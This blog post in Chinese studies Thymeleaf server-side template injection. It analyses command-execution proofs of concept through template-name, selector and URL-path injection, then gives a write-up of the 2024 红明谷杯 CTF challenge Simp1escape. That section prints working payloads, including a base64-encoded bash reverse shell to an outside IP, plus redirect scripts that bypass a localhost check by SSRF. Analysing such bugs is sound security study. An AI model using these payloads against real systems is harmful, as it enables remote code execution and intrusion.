Thymeleaf SSTI
本文最后更新于348 天前,其中的信息可能已经过时,如有错误请发送邮件到1714510997@qq.com

0x01前言

之前在红明谷杯遇到了一道Java题,其中一个考点就是Thymeleaf SSTI,借着这道题来学习一下

0x02前置知识

Thymeleaf简介

Thymeleaf是SpringBoot中的一个模板引擎,负责渲染页面,模板引擎的功能都差不多,都是为了解决前后端分离的问题,我们都知道HTML是纯静态的,编译器会原样输出HTML上的内容,而模板引擎的出现给HTML附加上了动态的特性,它可以把动态的数据渲染到前端页面,我们只需要写一个template即可。

虽然JSP编写的前端界面可以动态解析,但是它的局限性太大了,比如我们用Jar包部署项目的时候就是不支持JSP文件,所以模板引擎在Java中应用还是非常广泛的。

Thymeleaf语法

Thymeleaf也是使用html通过特定标签语法代表其含义,如何区分Thymeleaf的html呢

首先是标识

<html xmlns:th="http://www.thymeleaf.org">

标签

Thymeleaf提供了一些内置标签,通过标签来实现特定的功能。

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">admin</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

链接表达式

顾名思义就是引入链接,或者互联网上的资源,语法@{资源地址}

<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>

变量表达式

可以通过${…}在model中取值,如果在Model中存储字符串,则可以通过${对象名}直接取值。

public String getindex(Model model)//对应函数
  {
     //数据添加到model中
     model.addAttribute("name","admin");//普通字符串
     return "index";//与templates中index.html对应
  }

<td th:text="'我的名字是:'+${name}"></td>

取JavaBean对象使用${对象名.对象属性}或者${对象名['对象属性']}来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}取值。

public String getindex(Model model)//对应函数
  {
    user user1=new user("admin",22,"admin");
    model.addAttribute("user",user1);//储存javabean
    return "index";//与templates中index.html对应
  }

<td th:text="${user.name}"></td>
  <td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>

取Map对象使用${Map名['key']}${Map名.key}

@GetMapping("index")//页面的url地址
 public String getindex(Model model)//对应函数
  {
     Map<String ,String>map=new HashMap<>();
     map.put("place","博学谷");
     map.put("feeling","very well");
     //数据添加到model中
     model.addAttribute("map",map);//储存Map
     return "index";//与templates中index.html对应
  }

<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>

取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">

@GetMapping("index")//页面的url地址
 public String getindex(Model model)//对应函数
  {
     List<String>userList=new ArrayList<>();
     userList.add("zhang san 66");
     userList.add("li si 66");
     userList.add("wang wu 66");
     //数据添加到model中
     model.addAttribute("userlist",userList);//储存List
     return "index";//与templates中index.html对应
  }

<tr th:each="item:${userlist}">
        <td th:text="${item}"></td>
    </tr>

选择变量表达式

变量表达式也可以写为*{...}。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样。

<div th:object="${user}">
    <p>Name: <span th:text="*{name}">赛</span>.</p>
    <p>Age: <span th:text="*{age}">18</span>.</p>
    <p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>

消息表达式

文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来
读取配置文件中数据 的。

片段表达式

片段表达式~{...}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。

比如在/WEB-INF/templates/footer.html定义一个片段,名为copy。<div th:fragment="copy">

<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

  <body>

    <div th:fragment="copy">
      © 2011 The Good Thymes Virtual Grocery
    </div>

  </body>

</html>

在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>

<body>

  ...

  <div th:insert="~{footer :: copy}"></div>

</body>

片段表达式有三种语法

  • ~{templatename::selector}:会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的~{footer :: copy}

  • ~{templatename}:引用整个templatename模版文件作为fragment

  • ~{::selector}或者~{this::selector}:引用来自同一模版文件名为selectorfragmnt

    其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。

    ~{}片段表达式中出现::,则::后需要有值,也就是selector

预处理

语法:__${expression}__

预处理就是在正常表达式之前完成表达式的执行,运行修改最终执行的表达式。Thymeleaf SSTI的payload无一例外都是用预处理表达式执行的,Thymeleaf只是将执行的结果作为异常给抛出来了(有版本的局限性)

0x03对POC的分析

templatename

这里放一个最常见的POC

lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

这个POC的结构实际上就是我们上面提到的预处理的语法,后面的::.x是怎么回事呢,我们先创建一个漏洞环境

最简单的就是用github上的现成的环境

不是很推荐用IDEA自带的Thymeleaf插件生成一个项目,DEA自带的Spring boot版本是>=2.3的,不会回显异常,而且Controller配置了@ResponseBody,这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

代码的设计逻辑就是让用户选择语言,但是lang被Thymeleaf模板引擎渲染之后就会出现问题

直接看模板渲染的部分

首先是通过this.getTemplateName()方法获取视图名,然后判断viewTemplateName中是否含有::,如果有就把viewTemplateName按照片段表达式的语法拼接起来,让parseExpression解析

调用parseExpression

这里先是调用preprocess把预处理的表达式解析了,具体的解析方式也很简单,先是用正则把__xxxxx__中的内容提取出来

然后用execute执行

跟进execute,最终用SpringEL执行表达式

执行完命令后,那么第一次解析就已经完成了,接下来就该到Thymeleaf对命令进行第二次解析了,其实就是判断是否满足片段表达式的语法,满足条件之后会把::之后的字符串当作selector,之前的字符串当作templateName,向下找对应的模板文件,找不到就抛出异常,但是抛出的异常会带着tempate名称,也就是执行命令后的结果

好了到这里templatename的poc就算分析完了,但是从上面的漏洞代码来看,其实不要::后面的字符也是可以的,因为命令执行后还拼接了"/welcom"字符串,传给Thymeleaf解析的字符串就变成了~{user/result::/welcom}

selector

再来看第二种POC,这个POC是用于控制点在selector时

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x

上面的POC可以不用::.x,它本身就是满足片段表达式的语法的,还有就是这个注入点是没有回显的,其原因就在于找不到::后面的selector时会使expression为null然后抛出的异常是将input原样输出

URL PATH

@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

在解析试图的时候会先获取返回值,如果返回值为空viewTemplateName会从url中获取

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

但是这种POC没有回显,上面我们分析了没有回显的原因,是因为parse解析的时候如果::后面为空就会导致没有回显,我们这里明明有值,为什么还会为空呢?

通过URL PATH这种方式获取viewName时会对URL PATH进行一些处理,具体的处理过程就不多说了,最后的处理结果就是把最后一个.后面的内容全部去掉,解决方法也很简单,多加一个.不就行了吗

doc/__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7D__%3A%3A..

如果上述漏洞代码加上返回值就会失败

@GetMapping("/doc/{document}")
    public String getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document);
        return "welcome";
    }

其实关于Tyhmeleaf还有很多有趣的的Bypass,别的师傅都写得很好,我就不抄过来了,可以看看原文

0x04 Simp1escape复现

这是2024红明谷杯的一道Java题,考点就是Thymeleaf SSTI + SSRF

直接看漏洞点

这里直接把传入的hostname用Thymeleaf引擎解析了,相当于直接进行到上面提到的parseExpression方法,但是这里限制了必须是127.0.0.1也就是本地访问才行,我们接着看CurlController

curl路由里面会打开一个URL连接,并且通过isPrivateIp判断IP的合法性,跟进此方法很容易知道就是禁止了127.0.0.1,再往下看有一个写文件的操作,就是把curl加载的外部url的内容写入resources/sites/,并用ip命名,不考虑过滤的情况下,我们在curl路由直接SSRF,访问

http://127.0.0.1/getsites?hostname=ip

这样就能成功SSTI了,但是关键点就在于怎么绕过127.0.0.1,yulate师傅wp里提到用302跳转,在服务器上开启一个服务,然后重定向到127.0.0.1,下面是yulate师傅给出的payload

http://127.0.0.1:8080/getsites?hostname=[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjI3LjQ2LzkwOTAgMD4mMQ==}|{base64,-d}|{bash,-i}')").getValue()}]]

不用开启服务也是可以的,把hostname的payload写入vps上的文件里,然后访问

/curl?url=vps:port/payload.html

之后会生成一个html文件以ip命名,再写一个302跳转的文件

<?php
 header("Location:http://127.0.0.1:8080/getsites?hostname=ip"); 
?>
/curl?url=vps:port/302.php

当然还有更简单的payload,Thymeleaf的语法里面是支持替换超链接的

<a th:href="__${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,reverse_shell}|{base64,-d}|{bash,-i}')}__" th:title='pepito'>

然后在vps上起一个flask服务,重定向到127.0.0.1

from flask import Flask, redirect, url_for, render_template, request
app = Flask(__name__)

@app.route('/', methods=['POST', 'GET'])
def login():
    exp = "%5B%5B%24%7BT%28java%2Elang%2EBoolean%29%2EforName%28%22com%2Efasterxml%2Ejackson%2Edatabind%2EObjectMapper%22%29%2EnewInstance%28%29%2EreadValue%28%22%7B%7D%22%2CT%28org%2Espringframework%2Eexpression%2Espel%2Estandard%2ESpelExpressionParser%29%29%2EparseExpression%28%22T%28Runtime%29%2EgetRuntime%28%29%2Eexec%28%27bash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIwLjI3LjQ2LzkwOTAgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%27%29%22%29%2EgetValue%28%29%7D%5D%5D"
    return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}");

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1080)

总的来说这道题还是有点难度的,302跳转这点很巧妙

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇